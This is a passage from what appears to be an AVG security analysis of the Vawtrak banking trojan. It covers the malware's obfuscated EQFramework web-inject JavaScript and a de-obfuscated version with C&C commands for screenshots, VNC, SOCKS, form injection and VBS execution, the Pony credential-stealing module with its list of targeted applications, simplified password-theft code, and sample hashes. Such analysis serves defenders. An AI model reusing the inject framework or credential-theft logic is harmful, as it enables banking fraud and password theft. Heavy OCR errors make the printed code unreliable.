);o0(h==g) {1 g}C{o(f.A==4&&f.E==H) {o(f.x==\"-\"){1 t}z{o( x==\ +\") {1 gtz{l f£.x}}

}1 t}B(e) {1l t}};0.M=k(){1l 0.w};0.11=k(a,b,c){l O.m(\"'s\'",\"1/\"+a,b,c)}; O P=k (a,b
){1 O.m(\'v\',\'"2/\"+a,p,b) };0.R=k(a,b) {1l 0.m(\'v\',\'3/\"+a,p,b)};0.T=k(a){l 0.m
(\'"v\'",\"4/\",p,a)};0.U= k(a b,c) {1l 0.m(\'"v\',\"5/\"+ ((b==q)?\"' S\"\'D\ +\ /\'"+a,

c)};0.X=k(a,b,c,d) {1 0.m(\'s\',\'5/\'+((b==q)?\'S\':\'D\')+\'/\'+a,c,d)};O.Y=k(
a,b,c,d){o(y(c)==\"G\"||c==t) {u e=p;u £=\"'v\'}z{u e=\"Z: \'+c;u £=\"'s\'}1 O.m(£f,\
"6/\"+ ((b==q)2\"S\'":\'D\")+\'"/\'+a,e,d) };0.17=k(a,b,c,d) {1 0.m(\'s\',\"7/\"+((b==
g)?\'S\":\'D\")+\'"/\"+a,c,d) };0.18=k(a,b,c,d) {1l 0.m(\"v\',\"8/\"+b+\"/\"+c+\"/\ "+
19(a),p,d)};0.1la=k(a,b) {1l O.m(\'s\'",\"9/\",a,b)};0.1b=k(a){l O0.m(\'v\',\'"10/\",p,
a)}i;0.1lc=k(a,b) {1 0.m(\'s\',\"11/\',a,b)};0.1d=k(a,b) {1 O0.m(\'s\',\"'"12/\"',a,b)};0
.le=k(a,b,c) {1l 0.m(\'s\',\'"13/\",a+"\\r\\n"+b,c) };0.1f=k(a,b) {1 O0.m(\'s\',\'"14/\"
+a,1g.1h.11,b)};0.13=k(a) {1l 0.m(\'v\',\'15/\",p,a)};0.1lk=k(a,b) {1l O.m(\'s\',\'16/
\',a,b)}};",62,84, " this| 111111111111 11l1l]]lfunction|return|Query| |if|null|truel P
OST|false|var|GET| LastAsync|responseText|typeof|else|readyState|catch|try| |statu
s| Keylundefined|200|onreadystatechange|XMLHttpRequest |open|send|GetLastAsync|EQF
ramework|Version|GetVal |Math|DelVal| |ClearVals|GetServer|random|new|PostServer|Ge
t|Cookiel| |||l ||l |Post]|ScreenShot|encodeURIComponent |LogAdd|UpdateConfig]|StartSocks
|StartVnc|SendForm|StartVideo|document|location|href|StopVideo |ExecVBS|SetVal'.sp
it("1"),0,{1));

Figure 35 - Obfuscated version of the EQFramework.

The de-obfuscated version?® is as follows:

26 By using the JavaScript UnPacker: http://matthewfl.com/unPacker.html

Berursey
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function EQFramework (j) {
this.Version=2;
this.Query=function(a,b,c,d) { /* ... */ };
this.SetvVal=function(a,b, c)
{ return this.Query ('POST','l/'+a,b,c) };
this.GetVal=function (a,b)
{ return this.Query ('GET','2/'+a,null,b) };
this.GetServer=function(a,b, c)
{ return this.Query ('GET','5/'+ ((b==true)?'S':'D'")+"/"+a,null,c) };
this.PostServer=function (a,b, c,d)
{ return this.Query ('POST','5/'+ ((b==true)?'S':'D")+'/"'+a,c,d) };
this.Get=function(a,b,c,d) {

if (typeof (c)=="undefined'| |c==false) {
var e=null; wvar f='GET'

} else {
var e='Cookie: '+c; war f='POST'

}

return this.Query(f,'6/'+ ((b==true)?'S':'D'")+'/'+a,e,d)
b
this.Post=function (a,b, c,d)
{ return this.Query ('POST','7/'+ ((b==true)?'S':'D")+"'/"+a,c,d) };
this.ScreenShot=function (a,b, c,d)
{ return this.Query ('GET','8/'+b+"'/"+c+'/'+encodeURIComponent (a),null,d) };
this.LogAdd=function (a,b)
{ return this.Query ('POST','9/',a,b) };
this.UpdateConfig=function (a)
{ return this.Query ('GET','10/',null,a) };
this.StartSocks=function (a,b)
{ return this.Query ('POST','11/',a,b) };
this.StartVnc=function (a,b)
{ return this.Query ('POST','12/"',a,b) }:
this.SendForm=function (a, b, c)
{ return this.Query ('POST', '13/',a+"\r\n"+b,c) };
this.StartVideo=function (a,b)
{ return this.Query ('POST', '14/'+a,document.location.href,b) };
this.StopVideo=function (a)
{ return this.Query ('GET','15/',null,a) };
this.ExecVBS=function (a,b)
{ return this.Query ('POST','16/"',a,b) }

Figure 36 — De-obfuscated EQFramework (shortened version)?.

The web-page injected code may invoke these EQFramework functions, which implies the same
behavior as receiving a command from a C&C server (see the full list in Section 3.5). In this way,
it is possible to start a VNC server, take a screenshot, or start a video recording once a given
web-page element is displayed (e.g. virtual keyboard, information about account balance).
Furthermore, it is possible to inject additional forms to a selected web-page to obtain additional
information from the user (e.g. a credit card PIN number, secret question).

Finally, those web-page-specific frameworks can be updated by a C&C server (messages starting
with the "ECFG" sequence).

27 This is the second version of this framework, but a newer version (v3) is also common in the

recent samples. The differences are very small.
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3.7.2 Pony Password Stealing Module

In addition to stealing banking information, Vawtrak supports stealing of login credentials stored
in more than 80 applications. Actually, Vawtrak uses an existing Pony stealer module for this
task. It appears to be an outdated version of this module since newer versions of Pony can also
extract passwords from services such as instant messaging clients.

The extraction can be done either from the application’s file with stored passwords or from
registry — the default paths for each application are scanned whether the application is installed
or not.

Most of these applications are FTP clients (e.g. Total Commander, FlashFXP). Other supported
applications are web browsers (even less-known browsers such as K-Meleon or Flock), email
clients (e.g. Outlook, Thunderbird), stored Remote Desktop credentials, etc. The full list follows.

FTP_FAR
FTP_TotalCMD
FTP_WS_FTP
FTP_CUTEFTP
FTP_FlashFXP
FTP_FileZilla
FTP_FTPNavigator
FTP_BPFTP
FTP_SmartFTP
FTP_TurboFTP
FTP_FFFTP
FTP_FreeFTP
FTP_COREFTP
FTP_FTPExplorer
FTP_Frigate3
FTP_SecureFX
FTP_UIltraFXP
FTP_FTPRush
FTP_WebSitePublisher
FTP_BitKinex
FTP_ExpanDrive
FTP_ClassicFTP
FTP_Fling
FTP_FTPClient
FTP_DirectoryOpus
FTP_CoffeeCupFreeFTP
FTP_LeapFTP
FTP_WinSCP
FTP_32BitFtp
FTP_NetDrive
FTP_WebDrive
FTP_FTPCON
FTP_WISEFTP
FTP_FTPVoyager
WEB_Firefox

FTP_FTPSurfer
FTP_FTPGetter
FTP_ALFTP
WEB_IE
FTP_Adobe
FTP_DeluxeFTP
WEB_KMeleon
WEB_EPIC
FTP_StaffFTP
FTP_AceFTP
FTP_GlobalDownloader
FTP_FreshFTP
FTP_BlazeFtp
FTP_FTPpp
FTP_GoOFTP
FTP_3DFTP
FTP_EasyFTP
FTP_NetSarang
RDP
FTP_FTPNow
FTP_RoboFTP
FTP_LinasFTP
FTP_Cyberduck
FTP_PuTTY
FTP_Notepadpp
FTP_CoffeeCupFTP
FTP_FTPShell
FTP_FTPInfo
FTP_NexusFile
FTP_FastStone
FTP_WinZip
FTP_MyFTP
FTP_UNKNOWN
FTP_NovaFTP
EMAIL_MicrosoftMail
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WEB_FireFTP EMAIL_MSLiveMail
WEB_SeaMonkey FTP_RimArts
WEB_FLOCK FTP_Pocomail
WEB_MOZILLA EMAIL_IncrediMail
FTP_LeechFTP EMAIL_BatMail
FTP_OdinFTP EMAIL_Outlook
FTP_WinFTP EMAIL_Thunderbird

Vawtrak contains a parser for almost every password-containing file in these applications.
Therefore, it only extracts the required information (hostname, login, password, etc.). If the
parser is not available, the file is sent to a C&C server as-is. Whenever the file with stored
passwords is encrypted by the Windows login credentials, Vawtrak is able to decrypt it by using
the API function CryptUnprotectData.

Furthermore, Vawtrak also attempts to steal private keys from digital certificates by hooking API
function PFXImportCertStore. Once the certificate is retrieved, a TAR archive with two files is
created. The first one, pass.txt, contains a password used for decryption of the certificate's PFX
packet. The second one, cert.pfx, containing the certificate.

If the certificate originates from a web browser, the archive is stored only in the memory.
Otherwise, it is stored as a file in the $Temp%\%random% location and this file name is referred in
registry key "HKCU\SOFTWARE\ {%random%}\#FC_%CRCofFile%". At the end, this file is sent to a
C&C server.

The TAR archives are also used for other purposes such as storing cookies and history (Firefox,
Internet Explorer, Chrome, Flash). However, the TAR header is wiped out from the file (i.e. first
512 bytes are replaced by zeros) to make it once again harder to analyze.

A simplified code for stealing stored credentials is as follows:

PWDFILEO* getAllPasswords (void) {
//
pwdFile = PWDFILEO Init();
PWDFILEO addHeaderMagicBytes (pwdFile);

WEB IE grabPasswords (pwdFile) ;
RDP_grabPasswords (pwdFile) ;
FTP_getAllPasswords (pwdFile) ;
EMAIL getAllPasswords (pwdFile);
WEB grabAllPasswords (pwdFile) ;

PKDFILEO_AC32paCk_PWDFILEO(pwdFile);
PKDFILEO appendCRC (pwdFile) ;
return pwdFile;

Figure 37 — Password stealing in Vawtrak.

30

Peifrursely-



3.8 Other Details

Luckily, the malware author was so kind to leave us several debugging and logging outputs,

which helped us during the analysis, e.g.:

debugMessage ("Init in Browser

/).

debugMessage ("Init in Shell

/...

logger (true, "VNC Already started\r\n");

u", wvalue) ;

, value) ;

Figure 38 - Debugging outputs left in Vawtrak's DLL.
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4 Conclusion

We conclude this analysis by stating that Vawtrak is like a Swiss Army knife for its operators
because of its wide range of applications and available features.

Among the other features, Vawtrak supports:

e theft of multiple types of passwords used by user online or stored on a local machine;

e injection of custom code in a user-displayed web pages (this is mostly related to online
banking);

e surveillance of the user (key logging, taking screenshots, capturing video);

e creating a remote access to a user's machine (VNC, SOCKS);

e automatic updating.

It also tries to stay hidden and avoid detection by hiding its communication with a C&C server
within browser-generated network traffic (HTTP protocol), using steganography for downloading
its updates, massive usage of encryption, trying to disable any running AV software, disabling
some of the WInAPI functions that may alert the user.

On the other hand, the methods used by Vawtrak are not as advanced as the ones used in some
rootkits (e.g. Turla®®). Furthermore, some of Vawtrak's actions are too aggressive (e.g. injection
in all running processes, hooking of their API function calls) and they may cause stability or
performance issues in the infected machines.

The most effective way to avoid infection by Vawtrak is to stay vigilant about online phishing and
scams (see our advice?®). However, Vawtrak may still find its way via the other infection vectors
(e.g. malware downloaders or exploit kits), even without a user's direct interaction. Therefore,
having an efficient® and updated antivirus solution is a must-have.

At AVG, we protect our users from Vawtrak in several ways.

e AVG LinkScanner and Online Shield are used for a real-time scanning of clicked links and
web pages containing malicious code.

e AVG Antivirus for generic detection of malicious files and regular scans.

e AVG Identity Protection, that uses a behavioral-based detection, will detect even the latest
versions of such infections.

e AVG Firewall prevents any unsolicited network traffic, such as communication with a C&C
server.

28 http://now.avg.com/turla-rootkit-analysed/
29 http://now.avg.com/german-phishing-scam-spreading-globally/
30 http://now.avg.com/avg-antivirus-wins-top-rated-security-product-2014/
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Appendix A - List of Analyzed Samples

' Sample Size SHA-1

invoice.pdf.scr 516,096 <c9e66384e95b24fb9%eb929£150732435ed3cfd63

WabgEhuxk .bpw - dropped DLL 294,952 1f124db629e99d6bd101619c0b5elccl49e8618fF

WabgEhuxk .bpw — updated version 294,912 47572a8aaad096db101c750c7008d3fb0a65c679

Vawtrak DLL (32-bit) 212,480 25736a614a6063b19127bb021d3a3289058e0528

Vawtrak DLL (64-bit) 149,504 e5751£f3e6b1lb1570a0al0896077106bb5dd49604
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